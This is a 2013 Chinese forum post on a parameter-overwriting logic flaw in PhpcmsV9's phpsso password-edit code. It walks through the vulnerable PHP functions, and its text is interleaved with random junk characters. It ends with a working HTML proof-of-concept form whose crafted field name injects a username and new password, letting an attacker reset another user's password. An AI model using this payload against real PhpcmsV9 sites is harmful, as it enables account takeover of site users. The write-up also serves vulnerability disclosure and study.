找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1909|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:  g0 V4 }. G& G& X% s6 T: L

" t. _. }( R+ k1 O. V" i
3 o, y* R5 M# Q, Yparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);8 x3 K+ G. b* p% N% v" y5 }+ W6 l

# b' O. p' K8 N# t5 r6 f在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
+ n, [/ p# e  M- G& w3 V1 o2 y; F) k9 u$ X* n; ^: n+ t; Z
我把它留给了你们。  C7 O* O# B; B$ q5 g
不知道你们发现了它没有。. R+ }+ I, o6 g  n  A* d

7 ]4 V  @- x/ P0 M2 W* O' F我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
- Z! }6 U2 |4 p$ }. I8 U0 N$ J) a' w+ k6 ~/ q6 `) K3 w
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
( i, N) `  S+ A: Z8 w9 h/ m6 R3 i
也就是+ t; a( {0 W7 u. f. I+ v) r2 G

, ^4 j: O/ J$ E' X2 j) _# Busername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。4 W) K* \& S$ H1 ^  K2 L5 H- k& m
+ Q7 t9 H  F" o5 T' H: |, G& L
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
8 a! v( s' u) l  L4 t4 A& b. s* a7 D* E/ @
7 s  a1 T7 i; X+ _- P, ^$ B
其实我们有这样的机会,看看代码,如下:7 B/ E5 B: _# g6 C$ N
  D9 T8 J+ A$ d4 B, _8 B4 ^
; R  T0 L- R% c
public function auth_data($data) {/ m1 J9 D# B' t& I. R' C
                $s = $sep = '';
# j% {& \$ b5 `" _( b6 d                foreach($data as $k => $v) {
$ ^7 p; S6 R3 _                        if(is_array($v)) {
% H" R  H! r4 I% f. u                                $s2 = $sep2 = '';
, B1 ^. B+ l- U; i                                foreach($v as $k2 => $v2) {  d, g; o# P; [$ M) z( O
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);2 V5 L. y# H3 w1 e
                                        $sep2 = '&';
- A' m+ Y$ R! _1 M7 v) u                                }
, R( F( r' Z: S( J5 F) B% W                                $s .= $sep.$s2;
( c4 D  V& k8 o/ J$ ]                        } else {
9 n# c# h- m! t, _8 @: H                                $s .= "$sep$k=".$this->_ps_stripslashes($v);; C  ]0 F( ^2 _
                        }
' R% H; i- q9 o6 A9 |& m4 Y  Q: R                        $sep = '&';: Z' O" V8 s4 O5 A& k' e
                }
6 s- n1 B. k; y& `' G8 V; {$ V+ M* }
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
  e* v& L+ a- E& b: P' S                return $auth_s;% U7 s3 Q0 R7 g" G
        }
, e% S$ f  P4 W4 u
% S4 K' |/ f( i' ?可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。1 q$ S( z$ r8 E5 g

2 F: t# N/ d6 _! t" \举个例子' G2 }! X' r2 V. A( U0 C  T3 M

7 b  K5 x$ I9 i2 i& q4 m# S$a[aaa=a&bbb] = 'a';
& g: N/ H$ c" u5 u$ c8 Q/ [+ V! q) Y& Y* U( g8 `7 j$ ~
会变成aaa=a&bbb=a# j% z) U( d0 c2 v- }' q
  M% x$ y/ G% n. t! a
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。  |2 n4 `% e) V2 C0 ~: a7 N

4 \1 q* ?2 R* |' u5 M这个时候,我们可以再去看一个函数。
3 E- z$ k1 r) A( K! n- I
9 [9 ?+ x% y" Q0 _+ n* \9 B就在这个文件内:- f% ]) K. E9 |4 E6 i' ]

% g. Y: i0 B, k) |+ W( W5 r5 l9 d" l& i* x; y1 o
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {6 A5 T; _7 g+ [  m' O" i
                if($email && !$this->_is_email($email)) {
6 H  O- I9 G% ]                        return -4;9 C3 k, J, d3 ]# }. H, y
                }' W% K; r6 |7 e* T1 ?
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
; |  H" o4 F* ^. ~$ a  r        }* o4 a! n# D, `1 S
' r" s/ ]1 R( Z
这是向通行证发了这样一个请求。+ ^/ I0 Q1 f6 F4 b1 f
2 G. @" d2 K! i; @2 [* [& m
我们再跟到通信证代码里去看看,就会有所发现。
2 F* x- ~' i- N
5 u6 A; |) f3 U, T& m" P: L9 R* Q4 y1 ^
4 n. Y- T# x$ \) F# l$ }' Kpublic function edit() {/ g) K0 t. a; Q; P
//能省就省,太长了不是吗?
7 {  y1 @: x; w# P1 a5 J
+ f* {$ F0 w+ _8 E2 ~  Eif($this->username) {
) C2 @( Y% C2 L//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
, o% g# X  ^; e, @& i: \                                $res = $this->db->update($data, array('username'=>$this->username));
/ u' [2 _+ Q' C7 z% R) u9 }3 X                        } else {& g3 n. m9 h5 C+ ?& S$ }6 `
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ T0 J5 i# |2 t% T/ V                                $res = $this->db->update($data, array('uid'=>$this->uid));
2 Q) |- n! b1 X) Z. l                        }
9 y) D6 y7 V1 X# T
2 ]6 u, [' m( R( E7 c9 ~好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
& T& m- s- W; q; d$ r: I" A' k+ r  ]  b
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
6 J5 Q( J# @! A3 j% n  n
. m) T3 P( o( \2 e' `9 |很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
7 |8 ^) H! D$ |% O+ W2 l, P% P5 P& \2 S
我当然找到了:$ r& J/ w- U. V" q( H( `* l
phpcms9/phpcms/modules/member/index.php: K0 U5 j% ?; `. ~, n1 x" e
+ c4 W8 x, O1 q8 I
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
, q5 R* E' s& }  n5 a; P) ]0 i" }( w& Y
然后就没有然后了。
9 d! r: P! W1 J7 i  Y' o, W* I2 z% u+ [4 t
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">& \& j# E5 R( g& k! x& ~
                                <table width="100%" cellspacing="0" class="table_form">
: E2 |; S4 B: h' F9 E                                        <tr>
5 L+ J3 O7 ]% y' q9 a+ d; F7 v  W                                                <th width="80">邮箱:</th>          P+ v% B- Q, y$ I) [
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
& g1 L+ e" M* p                                        </tr>
$ M2 Q2 e% J% Q1 U& }7 Q                                        <tr>
  o$ P; h6 d  ]$ J                                                <th width="80">原密码:</th>        
6 |6 k  X/ _0 g7 e                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>5 l! ~: `3 r2 B5 s1 |
                                        </tr>
# w* s  _/ |3 J6 v  ^: W                                        <tr>" P/ v6 G6 G& z' D9 H+ p; F1 r
                                                <th>新密码:</th>" x' S# L% u" Y6 x, L+ l8 u
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>% v+ ]) \2 d8 o0 p% @
                                        </tr>
3 E2 {* X9 a4 ^8 n) Q& [- k6 r                                        <th></th>
" ?2 N- p+ G' U( w                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>* w+ l% K# J$ j5 ~, Y- ~
                                        </tr>1 U$ F) N( Y" Y) E' J; E
                                </table>
* Q! z+ k  G. ]8 G0 \: a: @
/ H( W% n, m6 x; i# _, w% i9 a7 D                                - O  q+ N8 |5 d( e- E
                        </form>
' [  S+ l9 C+ L- @/ j  ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表